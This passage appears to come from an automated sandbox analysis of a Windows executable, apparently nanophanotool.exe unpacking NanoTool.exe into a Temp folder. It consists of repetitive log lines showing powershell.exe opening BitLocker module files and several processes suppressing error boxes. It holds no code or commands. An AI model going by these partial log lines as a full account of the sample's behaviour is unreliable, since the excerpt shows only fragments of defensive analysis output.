      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
